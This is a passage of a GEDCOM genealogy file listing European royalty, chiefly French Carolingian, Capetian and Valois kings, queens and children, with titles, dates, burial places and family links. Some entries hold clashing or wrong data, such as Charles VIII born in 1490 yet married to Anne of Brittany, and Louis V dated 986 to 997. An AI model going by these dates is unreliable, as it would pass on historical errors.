BIRT\n2 DATE 14 JUL 1977\n1 FAMC @F220@\n0 @I2447@ INDI\n1 NAME Carl Philip //\n1 TITL Prince of Sweden\n1 SEX M\n1 BIRT\n2 DATE 13 MAY 1979\n1 FAMC @F220@\n0 @I2448@ INDI\n1 NAME Francis Frederick of_Saxe-Coburg//\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1750\n1 DEAT\n2 DATE        1806\n1 REFN 6\n1 FAMS @F1367@\n1 FAMS @F1147@\n1 FAMS @F70@\n1 FAMC @F1360@\n0 @I2449@ INDI\n1 NAME Maria Henrietta //\n1 SEX F\n1 BIRT\n2 DATE        1836\n1 DEAT\n2 DATE        1902\n1 FAMS @F1154@\n1 FAMC @F1155@\n0 @I2450@ INDI\n1 NAME Joseph of_Austria //\n1 TITL Archduke\n1 SEX M\n1 BIRT\n2 DATE        1776\n1 DEAT\n2 DATE        1847\n1 FAMS @F1155@\n0 @I2451@ INDI\n1 NAME Philip_II Augustus //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 21 AUG 1165\n2 PLAC Gonesse,Nr: Paris,France\n1 DEAT\n2 DATE 14 JUL 1223\n2 PLAC Mantes,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1156@\n1 FAMS @F1170@\n1 FAMS @F1171@\n1 FAMC @F1169@\n0 @I2452@ INDI\n1 NAME Louis_VI the_Fat //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT    1081\n2 PLAC Paris,France\n1 DEAT\n2 DATE  1 AUG 1137\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F694@\n1 FAMS @F1158@\n1 FAMC @F1159@\n0 @I2453@ INDI\n1 NAME Adelaide of_Savoy //\n1 SEX F\n1 DEAT\n2 DATE        1154\n1 FAMS @F1158@\n0 @I2454@ INDI\n1 NAME Philip_I the_Fair //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1052\n1 DEAT\n2 DATE 29 JUL 1108\n1 FAMS @F1159@\n1 FAMS @F1160@\n1 FAMC @F1161@\n0 @I2455@ INDI\n1 NAME Bertha of_Holland //\n1 SEX F\n1 DEAT\n2 DATE        1093\n1 FAMS @F1159@\n0 @I2456@ INDI\n1 NAME Bertrada de_Montfort //\n1 SEX F\n1 FAMS @F1160@\n0 @I2457@ INDI\n1 NAME Henry_I  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE    APR 1008\n1 DEAT\n2 DATE  4 AUG 1060\n2 PLAC Vitry-en-Brie,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1196@\n1 FAMS @F1161@\n1 FAMC @F1162@\n0 @I2458@ INDI\n1 NAME Robert_II the_Pious //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT     970\n2 PLAC Orleans,France\n1 DEAT\n2 DATE        1031\n1 FAMS @F1163@\n1 FAMS @F1164@\n1 FAMS @F1162@\n1 FAMC @F1165@\n0 @I2459@ INDI\n1 NAME Constance of_Arles //\n1 SEX F\n1 DEAT\n2 DATE        1032\n1 FAMS @F1162@\n0 @I2460@ INDI\n1 NAME Hugh  //\n1 SEX M\n1 BIRT\n2 DATE        1007\n1 DEAT\n2 DATE        1025\n1 FAMC @F1162@\n0 @I2461@ INDI\n1 NAME Unknown  //\n1 SEX F\n1 FAMS @F1163@\n0 @I2462@ INDI\n1 NAME Bertha of_Burgundy //\n1 SEX F\n1 BIRT\n2 DATE ABT     962\n1 FAMS @F1164@\n0 @I2463@ INDI\n1 NAME Hugh  /Capet/\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT     938\n1 DEAT\n2 DATE    AUG  996\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1165@\n0 @I2464@ INDI\n1 NAME Louis_X the_Headstrong //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  4 OCT 1289\n2 PLAC Paris,France\n1 DEAT\n2 DATE  5 JUN 1316\n2 PLAC Vincennes,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1232@\n1 FAMS @F1157@\n1 FAMC @F794@\n0 @I2465@ INDI\n1 NAME Philip_V the_Tall //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT    1294\n2 PLAC Lyons,France\n1 DEAT\n2 DATE  3 JAN 1322\n2 PLAC Longchamp,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1175@\n1 FAMC @F794@\n0 @I2466@ INDI\n1 NAME John_I  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 15 NOV 1316\n2 PLAC Paris,France\n1 DEAT\n2 DATE 20 NOV 1316\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMC @F1157@\n0 @I2467@ INDI\n1 NAME William_I  //\n1 TITL King of Sicily\n1 SEX M\n1 BIRT\n2 DATE        1120\n1 DEAT\n2 DATE        1166\n1 FAMS @F1166@\n1 FAMC @F1167@\n0 @I2468@ INDI\n1 NAME Roger_II  //\n1 SEX M\n1 FAMS @F1167@\n0 @I2469@ INDI\n1 NAME Philip  //\n1 SEX M\n1 FAMC @F1158@\n0 @I2470@ INDI\n1 NAME Robert  //\n1 TITL Count of Dreux\n1 SEX M\n1 FAMC @F1158@\n0 @I2471@ INDI\n1 NAME Pierre de_Courtenay //\n1 SEX M\n1 FAMC @F1158@\n0 @I2472@ INDI\n1 NAME Henry of_Beauvais //\n1 TITL Bishop of Rouen\n1 SEX M\n1 FAMC @F1158@\n0 @I2473@ INDI\n1 NAME Philip  //\n1 TITL Bishop of Paris\n1 SEX M\n1 FAMC @F1158@\n0 @I2474@ INDI\n1 NAME Constance of_Toulouse //\n1 TITL Constance\n1 SEX F\n1 FAMC @F1158@\n0 @I2475@ INDI\n1 NAME Constance of_Castile //\n1 SEX F\n1 DEAT\n2 DATE        1160\n1 FAMS @F1168@\n0 @I2476@ INDI\n1 NAME Adele of_Champagne //\n1 SEX F\n1 DEAT\n2 DATE        1206\n1 FAMS @F1169@\n0 @I2477@ INDI\n1 NAME Isabella of_Hainault //\n1 SEX F\n1 DEAT\n2 DATE        1190\n1 FAMS @F1156@\n0 @I2478@ INDI\n1 NAME Ingeborg  //\n1 SEX F\n1 BIRT\n2 DATE        1175\n1 DEAT\n2 DATE        1236\n1 FAMS @F1170@\n0 @I2479@ INDI\n1 NAME Agnes of_Meranie //\n1 TITL Princess\n1 SEX F\n1 DEAT\n2 DATE        1201\n1 FAMS @F1171@\n0 @I2480@ INDI\n1 NAME Philip  /Hurepel/\n1 SEX M\n1 FAMC @F1171@\n0 @I2481@ INDI\n1 NAME Alphonse  //\n1 SEX M\n1 DEAT\n2 DATE        1271\n1 FAMC @F690@\n0 @I2482@ INDI\n1 NAME Margaret of_Provence //\n1 SEX F\n1 BIRT\n2 DATE        1221\n1 DEAT\n2 DATE        1295\n1 FAMS @F689@\n1 FAMC @F1172@\n0 @I2483@ INDI\n1 NAME Raymond of_Provence /Berenger/\n1 TITL Count IV\n1 SEX M\n1 FAMS @F1172@\n0 @I2484@ INDI\n1 NAME Charles of_Anjou //\n1 SEX M\n1 FAMC @F690@\n0 @I2485@ INDI\n1 NAME Mary of_Brabant //\n1 SEX F\n1 DEAT\n2 DATE        1321\n1 FAMS @F688@\n0 @I2486@ INDI\n1 NAME Joan of_Navarre //\n1 SEX F\n1 BIRT\n2 DATE        1271\n1 DEAT\n2 DATE        1305\n1 FAMS @F794@\n0 @I2487@ INDI\n1 NAME Clemence of_Hungary //\n1 SEX F\n1 BIRT\n2 DATE ABT    1293\n1 DEAT\n2 DATE        1328\n1 FAMS @F1157@\n1 FAMC @F1173@\n0 @I2488@ INDI\n1 NAME Charles_I  //\n1 TITL King of Hungary\n1 SEX M\n1 BIRT\n2 DATE        1288\n1 DEAT\n2 DATE        1342\n1 FAMS @F1173@\n1 FAMC @F1174@\n0 @I2489@ INDI\n1 NAME Charles_II  //\n1 TITL King of Naples\n1 SEX M\n1 FAMS @F1174@\n0 @I2490@ INDI\n1 NAME Joan of_Burgundy //\n1 SEX F\n1 BIRT\n2 DATE ABT    1293\n1 DEAT\n2 DATE        1329\n1 FAMS @F1175@\n0 @I2491@ INDI\n1 NAME Blanche of_Burgundy //\n1 SEX F\n1 BIRT\n2 DATE ABT    1296\n1 DEAT\n2 DATE        1326\n1 FAMS @F1176@\n0 @I2492@ INDI\n1 NAME Marie of_Luxemburg //\n1 SEX F\n1 BIRT\n2 DATE        1305\n1 DEAT\n2 DATE ABT    1323\n1 FAMS @F1177@\n0 @I2493@ INDI\n1 NAME Joan of_Evreux //\n1 SEX F\n1 DEAT\n2 DATE        1371\n1 FAMS @F1178@\n0 @I2494@ INDI\n1 NAME Philip_VI of_Valois //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1293\n1 DEAT\n2 DATE 22 AUG 1350\n2 PLAC Nogent-le-Roi,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1180@\n1 FAMS @F1181@\n1 FAMC @F1179@\n0 @I2495@ INDI\n1 NAME Charles de_Valois //\n1 SEX M\n1 BIRT\n2 DATE        1270\n2 PLAC Fontainebleau,France\n1 DEAT\n2 DATE        1325\n1 FAMS @F1179@\n0 @I2496@ INDI\n1 NAME Joan of_Burgundy //\n1 TITL Queen\n1 SEX F\n1 DEAT\n2 DATE ABT    1349\n1 FAMS @F1180@\n0 @I2497@ INDI\n1 NAME Blanche of_Navarre //\n1 SEX F\n1 DEAT\n2 DATE        1398\n1 FAMS @F1181@\n0 @I2498@ INDI\n1 NAME John_II the_Good //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 26 APR 1319\n2 PLAC Le Mans,France\n1 DEAT\n2 DATE  8 APR 1364\n2 PLAC London,England\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1192@\n1 FAMS @F1233@\n1 FAMC @F1180@\n0 @I2499@ INDI\n1 NAME Charles_V the_Wise //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 21 JAN 1337\n2 PLAC Vincennes,France\n1 DEAT\n2 DATE 16 SEP 1380\n2 PLAC Vincennes,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1182@\n1 FAMC @F1192@\n0 @I2500@ INDI\n1 NAME Joan of_Bourbon //\n1 TITL Queen\n1 SEX F\n1 BIRT\n2 DATE        1338\n1 DEAT\n2 DATE  4 FEB 1378\n1 FAMS @F1182@\n0 @I2501@ INDI\n1 NAME Louis of_Beaumont //\n1 TITL Count of Valois\n1 SEX M\n1 DEAT\n2 DATE        1407\n1 FAMC @F1182@\n0 @I2502@ INDI\n1 NAME Catherine  //\n1 TITL Princess\n1 SEX F\n1 FAMC @F1182@\n0 @I2503@ INDI\n1 NAME Isabelle  //\n1 SEX F\n1 BIRT\n2 DATE    FEB 1378\n1 DEAT\n2 DATE    FEB 1378\n1 FAMC @F1182@\n0 @I2504@ INDI\n1 NAME Stanislaw  /Leczinski/\n1 TITL King of Poland\n1 SEX M\n1 FAMS @F1183@\n0 @I2505@ INDI\n1 NAME Margaret of_Valois //\n1 SEX F\n1 BIRT\n2 DATE        1553\n1 DEAT\n2 DATE        1615\n1 FAMS @F1184@\n0 @I2506@ INDI\n1 NAME Elizabeth  //\n1 SEX F\n1 FAMC @F1185@\n0 @I2507@ INDI\n1 NAME Charles  //\n1 TITL Duke of Berry\n1 SEX M\n1 BIRT\n2 DATE        1686\n1 DEAT\n2 DATE        1714\n1 FAMS @F1375@\n1 FAMC @F1143@\n0 @I2508@ INDI\n1 NAME Clotilde of_Savoy //\n1 SEX F\n1 DEAT\n2 DATE        1805\n1 FAMS @F1186@\n0 @I2509@ INDI\n1 NAME  of_Angouleme //\n1 TITL Duke\n1 BIRT\n2 DATE        1775\n1 FAMC @F1186@\n0 @I2510@ INDI\n1 NAME  of_Berry //\n1 TITL Duke\n1 SEX M\n1 BIRT\n2 DATE        1778\n1 FAMC @F1186@\n0 @I2511@ INDI\n1 NAME Louis_Philippe_I  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE        1773\n2 PLAC Palace Royal,France,France\n1 DEAT\n2 DATE        1850\n1 FAMS @F1187@\n1 FAMC @F1188@\n0 @I2512@ INDI\n1 NAME Desideria  //\n1 SEX F\n1 FAMS @F664@\n0 @I2513@ INDI\n1 NAME Louis-Philippe Joseph //\n1 SEX M\n1 DEAT\n2 DATE        1793\n1 FAMS @F1188@\n1 FAMC @F1189@\n0 @I2514@ INDI\n1 NAME Louise Adelaide de_Penthievre//\n1 TITL Princess\n1 SEX F\n1 FAMS @F1188@\n0 @I2515@ INDI\n1 NAME Louis-Philippe  //\n1 SEX M\n1 DEAT\n2 DATE        1785\n1 FAMS @F1189@\n1 FAMC @F1190@\n0 @I2516@ INDI\n1 NAME Louis of_Orleans //\n1 SEX M\n1 DEAT\n2 DATE        1752\n1 FAMS @F1190@\n1 FAMC @F1191@\n0 @I2517@ INDI\n1 NAME Philippe Duc_de_Chartes //\n1 TITL Regent\n1 SEX M\n1 BIRT\n2 DATE        1674\n1 DEAT\n2 DATE        1723\n1 FAMS @F1191@\n1 FAMC @F1373@\n0 @I2518@ INDI\n1 NAME Philip the_Bold //\n1 SEX M\n1 DEAT\n2 DATE        1404\n1 FAMC @F1192@\n0 @I2519@ INDI\n1 NAME Bonne of_Luxemburg //\n1 SEX F\n1 DEAT\n2 DATE        1349\n1 FAMS @F1192@\n0 @I2520@ INDI\n1 NAME Joan of_Valois //\n1 SEX F\n1 FAMS @F1193@\n1 FAMC @F1179@\n0 @I2521@ INDI\n1 NAME Robert of_Artois //\n1 TITL Duke of Richmond\n1 SEX M\n1 FAMS @F1193@\n0 @I2522@ INDI\n1 NAME Charles_IX  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 27 JUN 1550\n2 PLAC St. Germain-,en-Laye,France\n1 DEAT\n2 DATE 30 MAY 1574\n2 PLAC Vincennes,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1229@\n1 FAMC @F1148@\n0 @I2523@ INDI\n1 NAME Henry_III  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 19 SEP 1551\n2 PLAC Fontainebleau,France\n1 DEAT\n2 DATE  2 AUG 1589\n2 PLAC Paris,France\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F1230@\n1 FAMC @F1148@\n0 @I2524@ INDI\n1 NAME Charles of_Valois //\n1 TITL Count Angouleme\n1 SEX M\n1 FAMS @F729@\n1 FAMC @F1194@\n0 @I2525@ INDI\n1 NAME John of_Valois //\n1 TITL Count Angouleme\n1 SEX M\n1 FAMS @F1194@\n0 @I2526@ INDI\n1 NAME Margaretha of_Sweden //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 31 OCT 1934\n1 FAMS @F1285@\n1 FAMC @F217@\n0 @I2527@ INDI\n1 NAME Birgitta of_Sweden //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE 19 JAN 1937\n1 FAMS @F1286@\n1 FAMC @F217@\n0 @I2528@ INDI\n1 NAME Desiree of_Sweden //\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  2 JUN 1938\n1 FAMS @F1287@\n1 FAMC @F217@\n0 @I2529@ INDI\n1 NAME Christina Louise Helen//\n1 TITL Princess\n1 SEX F\n1 BIRT\n2 DATE  3 AUG 1943\n1 FAMS @F1288@\n1 FAMC @F217@\n0 @I2530@ INDI\n1 NAME Peter_I  //\n1 TITL King of Serbia\n1 SEX M\n1 DEAT\n2 DATE        1921\n1 FAMS @F1195@\n0 @I2531@ INDI\n1 NAME Zorka of_Montenegro //\n1 TITL Princess\n1 SEX F\n1 DEAT\n2 DATE ABT    1889\n1 FAMS @F1195@\n0 @I2532@ INDI\n1 NAME George  /Karageorgeovitch/\n1 SEX M\n1 FAMC @F1195@\n0 @I2533@ INDI\n1 NAME Robert  //\n1 SEX M\n1 FAMC @F1162@\n0 @I2534@ INDI\n1 NAME Hugh the_Great of_Vermandois//\n1 TITL Count\n1 SEX M\n1 FAMC @F1196@\n0 @I2535@ INDI\n1 NAME Anne of_Kiev //\n1 SEX F\n1 BIRT\n2 DATE ABT    1024\n1 DEAT\n2 DATE ABT    1066\n1 FAMS @F1161@\n0 @I2536@ INDI\n1 NAME Matilda of_Germany //\n1 SEX F\n1 DEAT\n2 DATE BEF    1044\n1 FAMS @F1196@\n0 @I2537@ INDI\n1 NAME Charles_VII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 22 FEB 1403\n2 PLAC Paris,France\n1 DEAT\n2 DATE 21 JUL 1461\n2 PLAC Bourges,France\n1 BURI\n2 DATE  9 AUG 1461\n2 PLAC St. Denis,France\n1 FAMS @F1197@\n1 FAMC @F915@\n0 @I2538@ INDI\n1 NAME Mary of_Anjou //\n1 SEX F\n1 BIRT\n2 DATE        1404\n1 DEAT\n2 DATE        1463\n1 FAMS @F1197@\n1 FAMC @F1198@\n0 @I2539@ INDI\n1 NAME Yolande of_Aragon //\n1 SEX F\n1 FAMS @F1198@\n0 @I2540@ INDI\n1 NAME Louis_XI  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE  3 JUL 1423\n2 PLAC Bourges,France\n1 DEAT\n2 DATE 30 AUG 1483\n1 BURI\n2 PLAC Notre Dame,de Clery,France\n1 FAMS @F1199@\n1 FAMS @F1200@\n1 FAMC @F1197@\n0 @I2541@ INDI\n1 NAME Margaret of_Scotland //\n1 SEX F\n1 BIRT\n2 DATE ABT    1418\n1 DEAT\n2 DATE        1445\n1 FAMS @F1199@\n0 @I2542@ INDI\n1 NAME Charlotte of_Savoy //\n1 SEX F\n1 BIRT\n2 DATE ABT    1445\n1 DEAT\n2 DATE        1483\n1 FAMS @F1200@\n0 @I2543@ INDI\n1 NAME Charles_VIII  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE 30 JUN 1490\n1 DEAT\n2 DATE  7 APR 1498\n2 PLAC Amboise\n1 BURI\n2 PLAC St. Denis,France\n1 FAMS @F343@\n1 FAMC @F1200@\n0 @I2544@ INDI\n1 NAME Anne  //\n1 SEX F\n1 BIRT\n2 DATE        1461\n1 DEAT\n2 DATE        1522\n1 FAMC @F1200@\n0 @I2545@ INDI\n1 NAME Anne of_Brittany //\n1 SEX F\n1 BIRT\n2 DATE        1477\n1 DEAT\n2 DATE        1514\n1 FAMS @F343@\n0 @I2546@ INDI\n1 NAME Anne of_Cleves //\n1 SEX F\n1 FAMS @F462@\n0 @I2547@ INDI\n1 NAME Joan of_Valois //\n1 SEX F\n1 BIRT\n2 DATE        1464\n1 DEAT\n2 DATE        1505\n1 FAMS @F1151@\n0 @I2548@ INDI\n1 NAME Anne of_Brittany //\n1 SEX F\n1 BIRT\n2 DATE        1476\n1 DEAT\n2 DATE  9 JAN 1514\n1 FAMS @F1201@\n0 @I2549@ INDI\n1 NAME Catherine of_Brandenburg -Kustrin//\n1 SEX F\n1 FAMS @F1054@\n0 @I2550@ INDI\n1 NAME Hildegard  //\n1 SEX F\n1 BIRT\n2 DATE ABT     757\n1 DEAT\n2 DATE         783\n1 FAMS @F1202@\n0 @I2551@ INDI\n1 NAME Charles  //\n1 SEX M\n1 DEAT\n2 DATE         811\n1 FAMC @F1202@\n0 @I2552@ INDI\n1 NAME Pepin  //\n1 TITL King of Italy\n1 SEX M\n1 BIRT\n2 DATE         777\n1 DEAT\n2 DATE         810\n1 FAMS @F1205@\n1 FAMC @F1202@\n0 @I2553@ INDI\n1 NAME Louis_I the_Pious of_Aquitaine//\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE         778\n1 DEAT\n2 DATE         840\n1 FAMS @F1206@\n1 FAMS @F1207@\n1 FAMC @F1202@\n0 @I2554@ INDI\n1 NAME Berthe  //\n1 SEX F\n1 FAMC @F1202@\n0 @I2555@ INDI\n1 NAME Fastrada  //\n1 SEX F\n1 DEAT\n2 DATE         794\n1 FAMS @F1203@\n0 @I2556@ INDI\n1 NAME Luitgard  //\n1 SEX F\n1 DEAT\n2 DATE         800\n1 FAMS @F1204@\n0 @I2557@ INDI\n1 NAME Bertha of_Toulouse //\n1 SEX F\n1 FAMS @F1205@\n0 @I2558@ INDI\n1 NAME Irmengard of_Hesbain //\n1 SEX F\n1 FAMS @F1206@\n0 @I2559@ INDI\n1 NAME Judith of_Bavaria //\n1 SEX F\n1 FAMS @F1207@\n0 @I2560@ INDI\n1 NAME Lothar_I  //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE         795\n1 DEAT\n2 DATE         855\n1 FAMS @F1208@\n1 FAMC @F1206@\n0 @I2561@ INDI\n1 NAME Pepin_I of_Aquitaine //\n1 TITL King\n1 SEX M\n1 DEAT\n2 DATE         838\n1 FAMS @F1209@\n1 FAMC @F1206@\n0 @I2562@ INDI\n1 NAME Adelaide  //\n1 SEX F\n1 FAMC @F1206@\n0 @I2563@ INDI\n1 NAME Louis_II the_German //\n1 TITL King East Franks\n1 SEX M\n1 BIRT\n2 DATE ABT     805\n1 DEAT\n2 DATE         876\n1 FAMS @F1210@\n1 FAMC @F1206@\n0 @I2564@ INDI\n1 NAME Charles_II the_Bald //\n1 TITL King West Franks\n1 SEX M\n1 BIRT\n2 DATE         823\n1 DEAT\n2 DATE  6 OCT  877\n2 PLAC Modano\n1 FAMS @F1211@\n1 FAMC @F1207@\n0 @I2565@ INDI\n1 NAME Bernard  //\n1 TITL King of Italy\n1 SEX M\n1 BIRT\n2 DATE ABT     799\n1 DEAT\n2 DATE         818\n1 FAMC @F1205@\n0 @I2566@ INDI\n1 NAME Irmengard  //\n1 SEX F\n1 FAMS @F1208@\n0 @I2567@ INDI\n1 NAME Louis_II le_Jeune //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE ABT     822\n1 DEAT\n2 DATE         875\n1 FAMS @F1215@\n1 FAMC @F1208@\n0 @I2568@ INDI\n1 NAME Lothar_II of_Lorraine //\n1 TITL King\n1 SEX M\n1 BIRT\n2 DATE ABT     826\n1 DEAT\n2 DATE         868\n1 FAMS @F1217@\n1 FAMS @F1218@\n1 FAMC @F1208@\n0 @I2569@ INDI\n1 NAME Charles  //\n1 TITL King of Provence\n1 SEX M\n1 DEAT\n2 DATE         863\n1 FAMC @F1208@\n0 @I2570@ INDI\n1 NAME Pepin_II of_Aquitaine //\n1 TITL King\n1 SEX M\n1 DEAT\n2 DATE         870\n1 FAMC @F1209@\n0 @I2571@ INDI\n1 NAME Emma of_Bavaria //\n1 SEX F\n1 DEAT\n2 DATE         876\n1 FAMS @F1210@\n0 @I2572@ INDI\n1 NAME Carloman  //\n1 TITL King of Bavaria\n1 SEX M\n1 BIRT\n2 DATE ABT     828\n1 DEAT\n2 DATE         880\n1 FAMS @F1219@\n1 FAMC @F1210@\n0 @I2573@ INDI\n1 NAME Louis the_Young //\n1 TITL King East Franks\n1 SEX M\n1 DEAT\n2 DATE         882\n1 FAMC @F1210@\n0 @I2574@ INDI\n1 NAME Charles_III the_Fat //\n1 TITL King West Franks\n1 SEX M\n1 BIRT\n2 DATE         839\n1 DEAT\n2 DATE         887\n1 FAMC @F1210@\n0 @I2575@ INDI\n1 NAME Ermentrude  //\n1 SEX F\n1 DEAT\n2 DATE         869\n1 FAMS @F1211@\n0 @I2576@ INDI\n1 NAME Louis_II the_Stammerer //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE         846\n1 DEAT\n2 DATE         879\n1 FAMS @F1212@\n1 FAMS @F1213@\n1 FAMC @F1211@\n0 @I2577@ INDI\n1 NAME Charles of_Aquitaine //\n1 TITL King\n1 SEX M\n1 DEAT\n2 DATE         866\n1 FAMC @F1211@\n0 @I2578@ INDI\n1 NAME Carloman  //\n1 SEX M\n1 DEAT\n2 DATE         876\n1 FAMC @F1211@\n0 @I2579@ INDI\n1 NAME Judith  //\n1 SEX F\n1 FAMC @F1211@\n0 @I2580@ INDI\n1 NAME Ansgarde of_Burgundy //\n1 SEX F\n1 FAMS @F1212@\n0 @I2581@ INDI\n1 NAME Louis_III  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE ABT     863\n1 DEAT\n2 DATE         882\n1 FAMC @F1212@\n0 @I2582@ INDI\n1 NAME Carloman  //\n1 TITL King of France\n1 SEX M\n1 DEAT\n2 DATE         884\n1 FAMC @F1212@\n0 @I2583@ INDI\n1 NAME Adelaide Judith //\n1 SEX F\n1 FAMS @F1213@\n0 @I2584@ INDI\n1 NAME Charles_III the_Simple //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE         879\n1 DEAT\n2 DATE         929\n1 FAMS @F1214@\n1 FAMC @F1213@\n0 @I2585@ INDI\n1 NAME Eadgifu of_England //\n1 SEX F\n1 BIRT\n2 DATE         902\n1 FAMS @F1214@\n0 @I2586@ INDI\n1 NAME Engeberge  //\n1 SEX F\n1 FAMS @F1215@\n0 @I2587@ INDI\n1 NAME Irmengard  //\n1 SEX F\n1 FAMS @F1216@\n1 FAMC @F1215@\n0 @I2588@ INDI\n1 NAME Boso  //\n1 TITL King of Provence\n1 SEX M\n1 DEAT\n2 DATE         887\n1 FAMS @F1216@\n0 @I2589@ INDI\n1 NAME Louis_III the_Blind //\n1 TITL Holy Roman Emper\n1 SEX M\n1 BIRT\n2 DATE ABT     880\n1 DEAT\n2 DATE         928\n1 FAMC @F1216@\n0 @I2590@ INDI\n1 NAME Theutberga of_Valois //\n1 SEX F\n1 FAMS @F1217@\n0 @I2591@ INDI\n1 NAME Waldrada  //\n1 SEX F\n1 FAMS @F1218@\n0 @I2592@ INDI\n1 NAME Litwinde  //\n1 SEX F\n1 FAMS @F1219@\n0 @I2593@ INDI\n1 NAME Arnulf  //\n1 TITL King of Germany\n1 SEX M\n1 BIRT\n2 DATE ABT     863\n1 DEAT\n2 DATE         899\n1 FAMS @F1220@\n1 FAMC @F1219@\n0 @I2594@ INDI\n1 NAME Oda of_Bavaria //\n1 SEX F\n1 FAMS @F1220@\n0 @I2595@ INDI\n1 NAME Louis_III the_Child //\n1 TITL King of Germany\n1 SEX M\n1 BIRT\n2 DATE         893\n1 DEAT\n2 DATE         911\n1 FAMC @F1220@\n0 @I2596@ INDI\n1 NAME Zwentibold  //\n1 TITL King of Lorraine\n1 SEX M\n1 DEAT\n2 DATE         900\n1 FAMC @F1220@\n0 @I2597@ INDI\n1 NAME Hedwige  //\n1 SEX F\n1 FAMS @F1221@\n1 FAMC @F1220@\n0 @I2598@ INDI\n1 NAME Otto of_Saxony //\n1 SEX M\n1 FAMS @F1221@\n0 @I2599@ INDI\n1 NAME Henry the_Fowler //\n1 TITL Emperor\n1 SEX M\n1 FAMS @F1222@\n1 FAMC @F1221@\n0 @I2600@ INDI\n1 NAME Matilda of_Ringelheim //\n1 SEX F\n1 FAMS @F1222@\n0 @I2601@ INDI\n1 NAME Bruno of_Cologne //\n1 TITL Archbishop\n1 SEX M\n1 FAMC @F1222@\n0 @I2602@ INDI\n1 NAME Otto_I  //\n1 TITL Emperor\n1 SEX M\n1 FAMC @F1222@\n0 @I2603@ INDI\n1 NAME Gerberge  //\n1 SEX F\n1 DEAT\n2 DATE         968\n1 FAMS @F1223@\n1 FAMC @F1222@\n0 @I2604@ INDI\n1 NAME Louis_IV d'Outre-Mer //\n1 SEX M\n1 BIRT\n2 DATE ABT     920\n1 DEAT\n2 DATE         954\n1 FAMS @F1223@\n1 FAMC @F1214@\n0 @I2605@ INDI\n1 NAME Lothar  //\n1 TITL King of France\n1 SEX M\n1 BIRT\n2 DATE         941\n1 DEAT\n2 DATE         986\n1 FAMS @F1224@\n1 FAMC @F1223@\n0 @I2606@ INDI\n1 NAME Charles Lower_Lorraine //\n1 SEX M\n1 BIRT\n2 DATE         954\n1 DEAT\n2 DATE         986\n1 FAMC @F1223@\n0 @I2607@ INDI\n1 NAME Louis_V the_Coward //\n1 SEX M\n1 BIRT\n2 DATE ABT     986\n1 DEAT\n2 DATE         997\n1 FAMC @F1224@\n0 @I2608@ INDI\n1 NAME Adalberon of_Rheims //\n1 TITL Archbishop\n1 SEX M\n1 DEAT\n2 DATE        1021\n1 FAMC @F1224@\n0 @I2609@ INDI\n1 NAME Pepin the_Short //\n1 TITL King of Franks\n1 SEX M\n1 BIRT\n2 DATE         714\n1 DEAT\n2 DATE         768\n1 FAMS @F1225@\n1 FAMC @F1227@\n0 @I2610@ INDI\n1 NAME Bertha  //\n1 SEX F\n1 DEAT\n2 DATE         783\n1 FAMS @F1225@\n0 @I2611@ INDI\n1 NAME Carloman  //\n1 TITL King of Franks\n1 SEX M\n1 BIRT\n2 DATE ABT     751\n1 DEAT\n2 DATE         771\n1 FAMS @F1226@\n1 FAMC @F1225@\n0 @I2612@ INDI\n1 NAME Gerberge of_the_Lombard //\n1 SEX F\n1 FAMS @F1226@\n0 @I2613@ INDI\n1 NAME Charles  /Martel/\n1 SEX M\n1 BIRT\n2 DATE ABT     686\n1 DEAT\n2 DATE         741\n1 FAMS @F1227@\n0 @I2614@ INDI\n1 NAME Augusta Reuss-Ebersdorf //\n1 TITL Countess\n1 SEX F\n1 BIRT\n2 DATE        1757\n1 DEAT\n2 DATE        1831\n1 FAMS @F1147@\n1 FAMC @F1228@\n0 @I2615@ INDI\n1 NAME Elisabeth of_Austria //\n1 SEX F\n1 BIRT\n2 DATE        1554\n1 DEAT\n2 DATE        1592\n1 FAMS @F1229@\n0 @I2616@ INDI\n1 NAME Marie Elisabeth //\n1 SEX F\n1 BIRT\n2 DATE 27 OCT 1572\n1 DEAT\n2 DATE  2 APR 1578\n1 FAMC @F1229@\n0 @I2617@ INDI\n1 NAME Louise of_Lorraine //\n1 SEX F\n1 